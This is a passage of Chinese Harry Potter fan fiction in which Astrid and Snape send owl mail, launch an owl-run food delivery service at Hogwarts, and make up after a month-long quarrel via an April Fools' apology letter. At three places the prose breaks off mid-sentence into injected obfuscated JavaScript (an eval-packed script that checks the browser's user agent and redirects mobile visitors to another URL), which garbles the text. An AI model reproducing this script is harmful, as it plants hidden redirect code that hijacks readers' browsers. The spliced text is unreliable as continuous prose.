半小时后,阿斯特丽德选出最满意的一张,连同那沓填好的表格,以及邓布利多亲笔签名的担保函一起塞进大文件袋里,这才匆匆往猫头鹰棚屋赶去。 城堡外的风雪比早上又大了许多。厚厚的云层压得很低,几乎要碰到禁林的树梢,大朵大朵的雪花从天上倾泻下来,被风卷着横着飞,打在脸上生疼。通往猫头鹰棚屋的小路已经被积雪埋了大半,只剩下中间窄窄一条,勉强能辨认出方向。 阿斯特丽德把自己裹在超大超厚的围巾里,只露出两只眼睛,抱着文件袋深一脚浅一脚地往前走。她的靴子里早就灌满了雪,那些雪被体温融化,又冷又湿,冻得脚趾都快没知觉了。 猫头鹰棚屋那扇破旧的木门被风吹得吱呀作响,她刚走到门口,就听到里面传来一个熟悉的声音。 “……绑紧了,别半路上掉了。这两瓶是给圣芒戈魔药研究所的样本,那几瓶是给魔药发明促进协会的实验样品,还有这封信,一定要送到指定地址。” 阿斯特丽德推开门。 斯内普正站在木架前,给一只看起来颇沉稳雄壮的猫头鹰绑信件。那猫头鹰体型不小,灰褐色的羽毛被雪水打湿了些,但眼睛炯炯有神,一看就是能飞长途的料。它脚上绑着两份信件,每份旁边还挂着几个瓶瓶罐罐,都用软布包着,防止磕碰。 斯内普听到动静转过头来,从上到下打量了她一遍——从被雪打湿的发顶,到冻得通红的脸颊,再到那双跺着雪的靴子。 “这种暴雪天,你赶着给谁寄信?”他的语气依旧慢悠悠的,但手上的动作没停,“有什么事这么急?” 他抽出魔杖,对着她的靴子轻轻一挥。 清理一新。 那些融化的雪水、沾上的泥点,瞬间消失得无影无踪。接着又是一个烘干咒,靴子里那股湿冷的感觉被暖意取代。最后是保暖咒,那道光芒在她身上转了一圈,暖意从四面八方涌来,驱散了刺骨的寒冷。 阿斯特丽德这才举起手里的文件袋晃了晃,呼出的白气在冷风中凝成一团。 “给萨其马申请户口,”她被冻得通红的脸在保暖咒的作用下慢慢恢复血色,“刚准备好材料,想赶紧寄出去,免得夜长梦多。” 她又看向斯内普刚绑好的信件,好奇地问:“你寄什么?” 斯内普收回魔杖,一边给那只猫头鹰喂小肉条,一边回答:“毕业论文的选题被斯拉格霍恩教授看好。他帮我联系了几个实验室——圣芒戈魔药研究所、魔药发明促进协会,还有威尔士那个专门研究稀有魔药材料的私人实验室——以便我获得更多实验数据支撑,把论文完善成更具学术价值的期刊文章。” 接着,他用下巴示意另一份信件:“顺便,给魔药发明促进协会寄了一份A.S品牌明星产品的配方研究报告和自研成分应用效果的研究论文。如果能获得他们的专业认证,以后产品的宣传和背书会更有说服力。” 阿斯特丽德的眼睛慢慢睁大,她把文件袋往胳膊底下一夹,腾出双手,对着他竖起两个大拇指,脸上满是领导表彰优秀员工的赞赏与欣慰。 “太棒了!西弗勒斯,你非常具有企业责任感,很有主人翁精神,完全就是踏实努力、认真钻研的典范!”她吸溜着被冻得通红的鼻子,慷慨激昂地进行讲话:“像我们这种钱少事多的公司,最需要的就是像你这样从不抱怨、默默奉献的好员工。你是以单位为家的模范,是爱岗敬业的标杆,是我们所有人学习的榜样!这种使命感,这种责任心,我宣布,你被评为我们A.S本年度最优秀员工!等年会的时候,我一定给你发个大奖状!” 斯内普抬起头,透过飘落的雪花看着她:“能得到董事长的亲自表彰,鄙人深感荣幸。”他微微欠身,做足了受宠若惊的戏码,“不过我得提醒你,董事长女士,你说的那种‘从不抱怨、默默奉献’的模范员工,在麻瓜的企业里通常还有一个更简洁的叫法——冤大头。而我之所以愿意当这个冤大头,纯粹是因为这个企业的另一个股东恰好也姓斯内普。” 阿斯特丽德故作恍然地张大嘴巴,长长地“哦”了一声后,又一本正经地点头:“我回去一定向那位姓斯内普的股东大力举荐你,为你在下一届董事会上争取‘最佳任劳任怨奖’的提名,奖品暂定为一个真人大小的等身抱枕,上面印着那位股东的全黑证件照,好让你随时随地感受到单位的温暖。” 斯内普垂下眼帘,睫毛上落了零星的雪花,随着他微微颤动的动作簌簌落下。他优雅地颔首:“谢谢董事长的厚爱。不过——”他勾起一抹若有若无的假笑,“等身抱枕就不必了。每天照镜子已经够累的了,不需要再给自己找个分身。” 阿斯特丽德笑着走向那排木架,目光从几十只猫头鹰身上一一掠过。那些猫头鹰有的在高傲地梳理羽毛,有的在打瞌睡,还有几只正用审视的目光打量着他们。她的目光最后落在一只灰扑扑的小猫头鹰身上——那小家伙圆滚滚的,羽毛蓬松,一双大眼睛懵懵懂懂地看着她,像极了格丽失散多年的亲兄弟。 “就你了。”阿斯特丽德亲切地指着它。 小猫头鹰被选中后,兴奋地扑棱了两下翅膀,差点从架子上掉下来。它踉跄着站稳,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334622|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺起胸脯,努力做出一副“我很可靠”的模样,但那圆滚滚的身子和歪歪扭扭的站姿,怎么看都透着一股不太聪明的样子。 阿斯特丽德把文件袋绑在它腿上后,又仔细检查了一遍,确认绑牢。斯内普这才抽出魔杖,先给两只整装待发的猫头鹰腿上施了牢固咒,确保那些文件不会在半路脱落,然后又挥动魔杖,给它们全身都罩上一层防雨咒和保暖咒——它们的羽毛此刻犹如镀了一层透明薄膜,在棚屋里闪着微光。 “去吧。”他收起魔杖,冲那两只猫头鹰微微点了点头。 沉稳的灰林鸮率先振翅飞起,在风雪里划出一道优美的弧线,很快就消失在灰蒙蒙的天际。那只小猫头鹰跟在后面,飞得歪歪扭扭的,也一头扎进漫天风雪里。 阿斯特丽德仰头看着它飞远,忽然冒出一句疑问:“你刚才怎么不顺便给它们用个加速咒?那样不是更快吗?” “还有,”她一脸认真,语气里满是好奇:“那些猫头鹰的主人们,为什么不干脆给自家猫头鹰用个幻影移形咒?一眨眼就到了,多方便。” 斯内普收回目光,转身往回走,在雪地上踩出一串新的脚印。 “首先,魔法邮政局有明确规定——禁止将猫头鹰当门钥匙用。因为不便于交通管控,也很难对此类违章猫头鹰做出即时处罚——比如开罚单,扣它的飞行里程,或是吊销飞行执照。” “其次,神奇动物保护协会曾经发布过倡议,呼吁巫师尊重猫头鹰的自然习性。幻影移形会让它们产生严重的时空错乱感,据说不下二十只猫头鹰在违规使用后,把自己当成了猫头鹰和人类的混血后代,天天对着镜子问‘我是谁’。” 阿斯特丽德跟在他身后,踩着那些脚印往前走。她裹紧围巾,闷声闷气地问:“猫头鹰也要考飞行执照吗?” 斯内普调整了一下步伐,让每一个脚印的间隔变小了点:“当然。而且理论、实操和恶劣天气应对都要考。执照也分等级——初级只能在晴天飞行,中级能应对8级以下大风和雨雪,高级才能送跨洋邮件。至于那些无证上岗的野生猫头鹰——” 他像讲有趣的故事一样,颇有兴味:“魔法邮政局发现后会直接取缔当事巫师的寄信资格五年。顺便说一句,被处罚的人里有一半都会辩解‘我以为它能飞就行’,另一半会说‘它没告诉我它没证’。” 阿斯特丽德听得津津有味,想了想,又问:“那门钥匙又是什么?” 斯内普回头看了她一眼,目光里带着“你终于问了个正经问题”的欣慰:“可以理解为‘交通工具的魔法瞬移版’,区别在于它不需要你主动移动,只要碰到就能触发。而且,门钥匙不会在半路上问你要小费,也不会因为天气不好就罢工。” 两人穿过城堡大门,抖落身上的雪花。走廊里比外面暖和多了,壁炉里的火焰把石墙染成温暖的橙红色,画像里的居民们有的在打盹,有的在互相串门,还有几个正凑在一起玩噼啪爆炸牌。 大礼堂里冷冷清清的,十二棵巨大的圣诞树还在,但树下的长桌上只稀稀落落地坐着一小撮人。大多数留校学生都懒得来吃饭——窝在宿舍里,裹着毯子,吃着从蜂蜜公爵囤积的零食,再抱本闲书,这可比专程跑一趟来吃饭要惬意多了。只有少数几个对餐标有严格要求的人,或者像他们这样有正事要办的,才会出现在这里。 两人在老位置坐下——格兰芬多长桌靠窗的一个角落,离壁炉不远,既能取暖,又能看见窗外的雪景。斯内普刚取了一份烤羊排和烤蔬菜,还没来得及动刀叉,就看到阿斯特丽德从口袋里掏出一叠照片,往桌上一字排开。 “看看。”她得意洋洋地指着那些照片。 那是萨其马的写真集。 第一张照片里,萨其马戴着小墨镜,端坐在一块石头上,尾巴尖优雅地收在身侧,姿态高冷,俨然一位等待被画像的贵族。 第二张,它正趴在圣诞树的枝桠上,歪着脑袋看镜头。 第三张,它把自己盘成一个漂亮的圆环,脑袋从中间探出来,吐着蛇信——据阿斯特丽德说这是“蛇形结”。 第四张——斯内普的表情渐渐变得一言难尽。 照片里,萨其马用腰部撑地,整个身子立起来,头和尾巴尖相触,硬生生把自己弯成了一个心形。 “这些照片,”他慢悠悠地开口,“你打算用来做什么?” “选品牌代言人的形象照啊。”她兴致勃勃地说,“你不觉得这些照片都很有表现力吗?每一张都展现了萨其马的不同侧面——高冷的、可爱的、亲和的、搞怪的。我们在不同场合用不同的照片,完美覆盖所有客户群体。” 斯内普拿起那张高冷的照片看了一眼,又捏着那张比心的看了看,最终放下,“我只有一个建议——在你最终确定品牌照片的时候,记得问一下那位姓斯内普的股东的意见。” 阿斯特丽德立刻进入状态,她一脸认真地用纸巾包起一根鸡腿,举到他面前当话筒:“那么请问斯内普先生,您对于A.S品牌代言人的形象照,有什么看法吗?” 斯内普垂眸看了一眼那根正在冒油的鸡腿,又抬起眼看她,然后稍微坐直了些,双手交叠放在桌上:“作为本公司的股东之一,我认为品牌格调应当保持优雅、神秘和值得信赖的形象。”他用下巴示意那张高冷的照片,“这张——端正、优雅、高贵,与A.S的品牌定位完全吻合。”他又拿起那张比心的照片,轻轻晃了晃,“而这张——虽然很有创意,但会让客户怀疑我们卖的是情人节限量版心形蛇皮钱包。” 阿斯特丽德听完,认真地点了点头,把那根充当话筒的鸡腿收起来,用纸巾包好,小心翼翼地放进包里——那是她给萨其马带的,它拍照时太投入,扭了一下老腰,今天一整天都躺在宿舍里歇着,哼哼唧唧地喊着‘老萨其马老了,老萨其马不中用了’。 阿斯特丽德拿起自己的餐叉,开始享用面前那份樱桃酱馅饼。咽下一口之后,她忽然抬起头,两眼放光:“对了,情人节不是快到了吗?我打算推出一款情侣护肤套装——把最近研发的男士护肤系列和咱们的经典女士款搭配在一起,用限量款的噱头,肯定能卖爆。” 她用叉子指了指那张比心的照片,“就用这张照片作为情人节限定款的特别形象照。多有爱,多应急,多——呃——有辨识度。” 斯内普正准备切羊排的餐叉停顿下来,他看着那张把自己扭成心形的萨其马,很想保持沉默。 但他到底没忍住:“一条九百岁高龄的蛇怪,为企业的情人节营销献出了自己的首秀。我得说,这确实是本年度最具创意的品牌策划。我都想好广告词了——‘来自远古的祝福,让你们的爱情像老萨其马一样,历经九百多年还能保持新鲜。’”他哼笑一声,继续补充:“而我只希望,那些收到礼物的情侣打开包装时,不会觉得这条蛇是在对他们说——‘本勇士见证着你们的爱情,也盯着你们的钱包。’” 53. 撑了么 50. 诚如斯内普所说,那些吃公家饭的猫头鹰们确实有一套严苛的晋升体系——有正规飞行执照的邮局雇员需要通过累积有效飞行里程来实现证书升级,只有拿到日冕级执照以上的猫头鹰才能从魔法邮政局领取微薄的养老肉条,享受定期体检服务。当然,那些有主人的猫头鹰们不会有这种困扰,前提是它的主人足够负责、足够有爱心,并且记得在它们年老体衰时给它们一个温暖的落脚处。 而取得了最高级执照的猫头鹰们,则可以在退休后返聘为□□,指导那些新入职的小猫头鹰们通过层层培训考核,把一辈子的飞行经验传授给下一代。 这就意味着,累积资历对吃公家饭的猫头鹰们来说,是很重要的事。 重要到—— “你觉得它们愿意为了累积有效飞行里程而去送……抱歉,那个词是什么?”斯内普用一种看异想天开的嗅嗅般的目光看着阿斯特丽德。 “外卖。”阿斯特丽德清晰地重复了一遍。她伸手指着窗外那些正在风雪中艰难飞行的猫头鹰,又指了指大礼堂里那些稀稀拉拉的留校学生,继续描绘自己的“撑了么”美食外卖版图:“先在校园内部试行,效果好的话再扩展到霍格莫德,最后覆盖整个英国魔法界。就从这个圣诞假期开始——你看,留校的学生懒得下楼吃饭,教授们也有懒得动的时候,还有那些懒得做饭的单身巫师,忙着做实验顾不上吃饭的研究员,与其让他们自己跑一趟,不如让猫头鹰跑一趟。我们赚点跑腿费,猫头鹰赚点飞行里程。”她眼里满是期待,“你觉得呢?” 斯内普从来不觉得她是会真心参考他意见的人——她每次这么问,都不过是走个形式,顺便看看他能不能挑出什么漏洞补上,然后继续我行我素。但他还是礼貌地回答:“想法很好,但你需要额外申办至少七种许可证——食品流通许可证、魔法餐饮服务资质认证、跨区域运输特许经营牌照、神奇动物劳务派遣资格证、非紧急非医疗类配送服务备案,以及——校董会关于‘在校园内开展商业活动’的表决通过函。如果你能在学期结束前搞定这些,我建议你申请个梅林勋章。” 阿斯特丽德听完,语重心长地拍了拍斯内普的肩:“这就正是展现我们尊敬的斯内普一世的实力的时候了。”她努力传达着“组织相信你”的信念感,“那些难缠的校董,除了要拜托校长先生帮忙搞定,还得劳您亲自出马,跟某位家主深入沟通、亲切交流,从而达成某种友好共识,甚至获得那么一点点微不足道的小方便。” 她意味深长地看着他:“你知道的,无论麻瓜社会还是巫师世界,任何部门流程都存在‘原则上应该’或‘流程上不允许’的问题。” 换句话说,绿色通道这种东西,无处不在。 斯内普垂眸斜睨着这个从他一年级起就不遗余力地怂恿他钻规则漏洞的麻瓜小姐。这么多年了,从蜘蛛尾巷到霍格沃茨,从那些需要偷偷摸摸改良的护肤霜到现在的商业版图,她一直拉着他,紧紧团结在“赚钱”这个核心目标下,不断开拓进取,于无人处尝试着走出一条新路。 而这条路,有时候确实需要在规则的阴影里拐几个弯。 “你让我去走马尔福那条路,摆平巫师商业局的审批手续。”从他的语气里听不出是赞同还是质疑,“你应该清楚,马尔福是什么家族吧?” “纯利家族。”阿斯特丽德接得飞快,“正因为马尔福是纯利家族,加隆是他们真正的信仰,所以马尔福才是现阶段唯一可能帮助我们的纯血家族。” “以卢修斯.马尔福的眼光,他应当能看出这一业务板块背后的利润空间。更重要的是,他应当能看出,在必要时,这个平台对于两方阵营所能起到的‘微不足道’的小作用。”她伸出手指,一根一根地掰给他看,“比如,一个加在随餐小票上的窃听咒。比如,一份无意中滴入吐真剂的意面,再配上那个窃听咒。再比如,一个把毒药粉当作黑胡椒撒进去的馅饼——只要订单上写的是‘多加黑胡椒’,谁能想到呢?” 斯内普的眸光微微一闪,他当然明白她在说什么。 现有的猫头鹰派送业务当然也可以做手脚——但那毕竟太零散、太随机,而且主动权都掌握在猫头鹰主人或魔法邮政局手中。你永远不知道哪只猫头鹰会接你的单,哪只猫头鹰会在中途停下来歇脚,哪只猫头鹰的主人正好是魔法部傲罗办公室的某个职员。 但如果诞生了新兴的外卖业务呢? 如何选取有资质的猫头鹰派单,选哪一只猫头鹰派单,中途怎么暂停、怎么动点小手脚——那就都是该业务掌控者在幕后动动魔杖的事了。 更何况,当顾客们对此业务形成了依赖,“撑了么”就能收集大量用户数据。某个食死徒喜欢吃什么口味的馅饼,某个凤凰社成员习惯在几点加个夜宵,某位教授最近经常点哪家店的饮品——这些数据积累起来,可以分析出太多有用的信息。 所以,就算卢修斯看不上这份辛苦钱,伏地魔也会要求他参与进来,在这项业务中占有一席之地,保有一定话语权,以备不时之需。因为说不定哪天局势紧张起来,那位大人就忽然想要在某个外卖订单中做手脚呢? 当然,以阿斯特丽德的谨慎,一定会宣称“本平台对所有猫头鹰及餐食进行独家保鲜、保温以及安全处理”,并真的要求他开发此类专利咒语。 但谁也没说这项技术不能留有后门,是不是? 斯内普看着她的目光愈发幽深,终于开口调侃道:“所以,董事长女士的意思是,让我去跟马尔福谈一笔生意——用未来的利润,换现在的通行证?” 阿斯特丽德挑了挑眉,没有否认。 斯内普这才微微颔首:“成交。” 于是,当霍格沃茨的学生们结束圣诞假期返校后,脸上除了带着明晃晃的、分享了整整六期纯血家族大瓜的餍足感,还出现了对于另一种新鲜事物的惊诧和好奇。 因为城堡已经不是他们所熟悉的那个城堡了。 那些穿着银白色制服、头戴印着“eat”标志的黑色小圆帽的猫头鹰,正以惊人的频率穿梭在各个楼层之间。它们有的抓着热气腾腾的馅饼,有的叼着封装严实的汤碗,有的甚至拖着一个小小的篮子,里面装着几瓶南瓜汁和一盒纸巾。 而摆在计分沙漏旁边的那一摞羊皮纸,则是当日霍格沃茨餐单和相应的运送费用。上面清清楚楚地列着早餐、午餐、晚餐和宵夜时段的可选菜品,以及加急配送、保温包装、餐巾纸附赠等额外服务的收费标准。唯一被排除在配送范围之外的,只有黑湖湖底——除开猫头鹰不会游泳这一客观因素,还因为人鱼们表示“我们吃生鲜,不需要加热服务”,而格林迪洛则投诉“外卖盒子卡在喉咙里很不舒服”。 “你甚至可以在禁林探险迷路时下单,或者在上厕所没带纸时下单——只要你能说出你在哪儿,小e猫头鹰们总能带着你需要的东西来拯救你,顺便帮你召唤一声教授。”一个热爱探险的格兰芬多二年级生正眉飞色舞地跟同伴介绍,“他们的广告语就是这么说的——‘你永远不知道下一刻会需要什么,但小e知道’。” 同伴仰着头,看着那些争分夺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334623|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秒地找准各自的餐食、抓起来就飞走的猫头鹰们,脸上写满了困惑。他问出了所有第一次听说这项业务的人都会问的问题:“可是,我要怎么下单?我是说——跟谁下单?还有,怎么告诉猫头鹰我在哪里?以及,我除了需要一个水果派,还需要一张纸巾——”他的目光追着一只叼着餐盒飞过的猫头鹰,“对了,额外物品配送需要加钱吗?” “哦,他们发明了一个召唤咒语,就像骑士公共汽车那样——当你举起魔杖,在空中划出A.S两个字母,就会有附近的小e猫头鹰前来接单。”格兰芬多二年级生举起自己的魔杖,让同伴看自己新换的魔杖壳。那壳子通体银白,上面印着一个小小的“e”标志,旁边还有一个墨绿色的按钮,“这个,按下去就可以出现下单界面。每天实时更新餐单,你只需要在下单时标明自己的位置和额外需求就行。然后平台会根据距离、好评率和当日剩余里程数,自动分配合适的猫头鹰接单。当然,猫头鹰也可以选择拒单——比如你点的东西太重了,或者你的位置在八楼某间它从来没找到过的密室里面。” 同伴盯着那个小小的墨绿色按钮,表情复杂:“呃……所以还得考虑邮递员的心情?” “嗯,可以这么说。因为他们的创始人宣称——”二年级生清了清嗓子,学着阿斯特丽德一本正经的语气,“‘我们始终坚持猫头鹰友好型发展理念,尊重每一位邮递员的职业尊严和个人意愿。它们不是工具,是合作伙伴。我们只负责提供平台,不负责强迫劳动。’” “不过你可以给那些服务过你的猫头鹰评分,或者投诉。”那个二年级生指了指菜单旁边的一行小字,“看到没?‘您的反馈,是小e们成长的动力’。据说评分高的猫头鹰能拿到额外的肉干奖励,评分低的会被限制接单数量。所以它们现在都挺积极的,毕竟谁也不想被扣绩效。” 另一个凑过来听的学生忍不住插嘴:“据说有个拉文克劳前天投诉了一只猫头鹰,理由是‘它把汤洒在了我的羊皮纸上,导致我分辨不出那到底是南瓜汁还是我的眼泪’——后来那只猫头鹰被暂停接单一周,专门送去上‘平稳飞行培训班’。” 同伴听得目瞪口呆。 几人正说着,一只穿着银白色制服的小猫头鹰从他们头顶飞过,爪子里稳稳地抓着一个冒着热气的纸袋。它飞得不快,但异常平稳,小小的身影在城堡高高的穹顶下显得格外灵巧。 “你看,”二年级生指了指那只猫头鹰,“那就是‘撑了么’。” 同伴的目光追随着那只小猫头鹰,直到它消失在走廊尽头。 “所以——”他慢慢开口,脸上有一种“这个世界变得太快”的恍惚,“以后我们饿了,不用下楼,不用让家养小精灵加餐,也不用拜托同学带饭——直接按个按钮就行?” “对。” “困了想喝南瓜汁也行?” “对。” “写到一半没墨了也可以下单让人送墨水?” “理论上可以,但配送费可能比墨水本身还贵。” 同伴沉默着,低头看了看自己的旧魔杖壳,又抬头看向那些穿梭忙碌的银白色身影。 “……我觉得,”他慢吞吞地总结,“我的加隆可能要不保了。” 而就在他们身后不远处,碧绿肥美的小蛇正趴在一个餐盘旁边,心满意足地舔着树莓奶酪。它头上的迷你圆帽微微歪着,帽子上的“eat”标志在烛光下一闪一闪的。它打了个小小的嗝,望着那些飞来飞去的猫头鹰们,发出满足的嘶嘶声:‘年轻真好啊,老萨其马也想赚外快……’ 54. 那你证明 51. 阿斯特丽德最近食欲不振,抓耳挠腮,还总幽幽地望着斯莱特林方向的某个黑色身影。每当那个黑色背影从走廊尽头掠过,她的目光就会不由自主地追过去,然后在对方即将察觉的瞬间仓皇收回,整套动作行云流水,却毫无用处,因为那个背影压根就没往这边看过一眼。 这一切都是因为斯内普一世拒绝跟杜兰特一世沟通交流,并扬言“什么时候给出足够合理的解释,什么时候再来找我”,杜兰特一世为此很是苦恼。 “为什么呢?总得有个原因吧。”艾丽斯不止一次关切地询问,但换来的总是一声无奈的长叹,以及阿斯特丽德愈发愁眉苦脸的表情。 事情要从二月末说起。 那天邓布利多把两人叫到校长办公室,将一封从不知名海域漂来的信递给他们,并一脸抱歉地说尼可·勒梅的回信终于到了——但那封信的内容,远不是他们期待的那样。 信纸的边缘被海水打湿过,留下浅浅的盐渍,里面是写得有些潦草的花体字,透着旅途中的匆忙与惬意。 这位活了六百多岁的炼金术大师在信中用欢快的笔调写道,他和妻子佩雷纳尔刚报名参加了一个超豪华的环球旅行团,此刻正坐在一艘魔法游艇上,往南极的方向驶去。他们要去看那些被万年寒冰封存的远古魔法生物遗迹——据说那些遗迹只有在特定的季节才会显露出来,错过就要再等一百年。如果中途退团,不仅会损失一大笔旅费,更会错失这个百年难遇的机会,那太亏了。所以他们只能遗憾地表示,起码得等个一年半载的才能回到英国。 阿斯特丽德读完,虽然没想到还要等那么久,但也表示理解——毕竟人家六百多岁了,好不容易报个旅行团,总不能让人家为了她这点事退团。 斯内普却不一样。 他当时微微蹙着眉,问了几个关于禁制的细节问题,又问尼可·勒梅有没有提到任何破解的思路。邓布利多一一作答后,他忽然愣了一下,然后眉头就皱得更紧了。紧接着,他转向阿斯特丽德,狠狠地瞪了她一眼。 就那一眼。 之后他再也不看她了。 等到离开校长办公室,他甚至走路带风,黑色的校袍在身后猎猎作响,把她远远甩在身后,一副拒绝交流的模样。 “你到底怎么了嘛?”她不止一次地守在斯莱特林公共休息室门口堵他,姿态卑微得可以去竞选年度最佳守门员。可他每次只是冷哼一声,然后撂下那句“什么时候给出足够合理的解释,什么时候再来找我”,就甩着校袍扬长而去,连一个多余的眼神都欠奉。 从那以后,斯内普一世拒绝与杜兰特一世进行任何形式的沟通交流。她试过在走廊里堵他,在礼堂门口等他,甚至在魔药教室外面徘徊——但他每次看到她,都会面无表情地调转方向,或者干脆当她不存在。 冷暴力什么的最烦了。 于是阿斯特丽德也不理他了。她已经长大了,不是从前那个屁颠屁颠跟在他身后的小尾巴了。她也是有尊严的。 就这样,双方陷入了漫长的冷战。 原本计划好的要去观摩斯内普学幻影移形的重要行程,自然也就搁置了。 不过反正在宿舍窗边也不是不能看,对吧? 三月的霍格沃茨,天气好的时候,幻影移形课程确实会在操场上进行。她站在格兰芬多塔楼的窗边,远远地望着那片被圈出来的练习场地,看着那些黑点一样的身影在圆圈里忽隐忽现。虽然看不大清楚,但那个阴沉沉的、学得最快的、每次幻影移形后都会有一小撮长发不幸留在原地的人,一定就是那个讨人厌的西弗勒斯·斯内普。 如果没有冷战,她现在应该已经站在他的目标圆圈旁边,等着迎接他第一次成功幻影移形的时刻,然后好好地嘲笑他那撮被留在原地的头发,并递给他一根银白色的发绳。 可恶。 而正在操场上集中意念练习幻影移形的斯内普,除了每次头皮被扯痛时微微停顿一下之外,其余时间一直在不停地练习,频率高得让旁边的同学都忍不住侧目。 他很不爽。 只要一停下来,他就会回想起去校长室交付驱虫剂并询问尼可·勒梅那天的情况。当时他一门心思都放在怎么帮阿斯特丽德解除禁制上,绞尽脑汁地想着那些炼金术的细节,根本没留意邓布利多听到“萨姹的原身”这几个字时的反应。 现在回想起来,邓布利多根本没有惊讶。 他只是“哦”了一声,然后就开始问关于密室和禁制的细节。 这说明什么? 说明邓布利多比他早知道她的小秘密! 他不能接受这个。 作为同桌、邻居、好朋友、以及那什么,他不能接受自己居然是被蒙在鼓里的那一个。 他前几天还专门去找血人巴罗问了。巴罗当时飘在半空中,听他问完后,只是淡淡地说:“我知道。从她刚来霍格沃茨的那天就知道。” 他更不爽了。 巴罗都比他早知道。 可怜的斯内普先生居然是最后一个才知道的——而且他相信,如果不是他坚持要跟着去冒险,她一定不会那么快告诉他这个小秘密的。她可能到现在还在那儿装模作样地当她的“摔炮”,看着他像个傻子一样为她那点可怜兮兮的魔力忧心忡忡。 这个可恶的、狡猾的、不够忠诚的麻瓜! 她把他当什么?一个可以随便糊弄的毛头小子吗? 他不是。 所以他生气地采取了冷战。这是他唯一能做的——不然他还能怎么办?她要是愿意说,肯定早就告诉他了,还用得着等他自己回过味来生闷气? 这个可恶的、一点都不可爱的、总让他生气的麻瓜! 就这样持续到了愚人节。 四月的第一天,阳光好心情地从云层后面探出头来,把整个城堡染成一片暖洋洋的金色。斯内普刚从宿舍出来,一只穿着银白色小制服的小e猫头鹰就像颗炮弹一样飞过来,爪子里抓着一个粉红色的信封——上面还画着几颗大小不一的心形。 那信封的颜色刺眼得让人想把它扔出去。 他停下脚步,那只小猫头鹰把信丢在他手上,然后歪着脑袋看他,一副“等回信”的期待表情。 信封上用工整的字迹写着:“致我最亲爱的西弗勒斯”。 斯内普的眉头蹙了起来。 他拆开信封,抽出里面叠得整整齐齐的羊皮纸——那纸居然还是熏过香的,一股淡淡的玫瑰味直往他鼻子里钻。 信是这样写的: --- 我最最亲爱的西弗勒斯: 请允许我先向你致以最诚挚的歉意——我错了,我真的错了,我错得离谱,错得不可原谅,错得应该被绑在霍格沃茨的塔楼上接受全校师生的唾弃。 经过长达一个月的冥思苦想、辗转反侧、以及排除法推理,我终于隐约意识到你生气的原因了。 是不是因为邓布利多和巴罗都比你先知道我的小秘密? 可是亲爱的,邓布利多身为校长,又整天琢磨那些古老的预言和传说,他知道禁林里有座雕像这件事,并不奇怪——说不定他年轻时候还去探险过呢。 至于巴罗——他作为一个极具资历的老幽灵,知道萨姹的事就更不奇怪了,对吧? 而你,我亲爱的西弗勒斯,你之所以最后一个知道,完全是因为——呃——因为你太专注于我们的事业了!你整天忙着熬魔药、写论文、帮我想商业策略,哪有时间去翻那些古籍和传说? 他们知道,是历史的必然;你不知道,则是我的疏忽。 所以,都是我不好。我应该早点告诉你的,应该在你第一次看到我的魔杖花纹时就告诉你的。但我没有,我犯了不可饶恕的错误,我让你难过了,我让你觉得被排除在外了。 我深刻反省,真诚忏悔,并保证以后绝不再犯。有任何事,一定第一时间告诉你——我的亲亲西弗。 这一个月没有你的陪伴和讽刺,我食不下咽、寝不安席,整个人都萎靡得像被霜打过的曼德拉草,毫无生气。我无比怀念你身上的魔药气息,甚至——请原谅我的直白——开始怀念你发间那若有若无的头油味。那些味道是我在霍格沃茨的安全感来源,是我在这座城堡里迷路时的指南针。 我怀疑自己已经抑郁了。我不能没有亲亲西弗的陪伴,因为你是如此的迷人,如此的有魅力,让我无法自拔。 永远忏悔的 阿斯塔 于愚人节清晨 P.S. 如果你还不原谅我,我就只能让萨其马每天去斯莱特林公共休息室门口唱情歌了。你知道的,它最近迷上了抒情歌曲。 斯内普读着信,脸上的表情精彩得犹如一场荒诞剧。 那只蹲在他肩膀上的小e猫头鹰等得不耐烦了,用喙轻轻啄了啄他的耳朵。 斯内普回过神来,侧头看了它一眼,这才拿起羽毛笔,在那只小e猫头鹰带来的评分卡上,郑重地写下了“五星好评”。 小猫头鹰欢快地叫了一声,扑棱着翅膀飞走了。 斯内普则站在走廊里,把那封信又回味了一遍。然后他蹙着眉折返回盥洗室,对着镜子给自己喷了蓬松发粉。原本有些扁塌的长发立刻变得蓬松起来,整个人看起来精神了不少。 他对着镜子打量了自己两眼,这才转身离开。 七点整,斯内普踩着点出现在大礼堂门口。他的目光在礼堂里扫了一圈,然后——时隔一个月后——终于投向格兰芬多长桌的方向。 阿斯特丽德正坐在老位置上,面前摆着一份几乎没动过的早餐。她百无聊赖地用叉子戳着盘子里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“西弗勒斯,我深刻地、彻底地、毫无保留地忏悔!我真的错了,错得不可原谅。我竟然因为那样一个疏忽,让我亲爱的西弗勒斯难过了整整一个月——我真是该死啊!”她甚至带上了沉痛的颤音,“你知道这一个月我是怎么过的吗?每天食不知味,夜不能寐,整个人都瘦了一圈——你看,你看我的脸,是不是瘦了?” 她说着,把脸凑近了些,让他看清楚。 斯内普冷眼瞅着她,眼里没有丝毫波动,只是干巴巴地纠正:“我没有难过。” 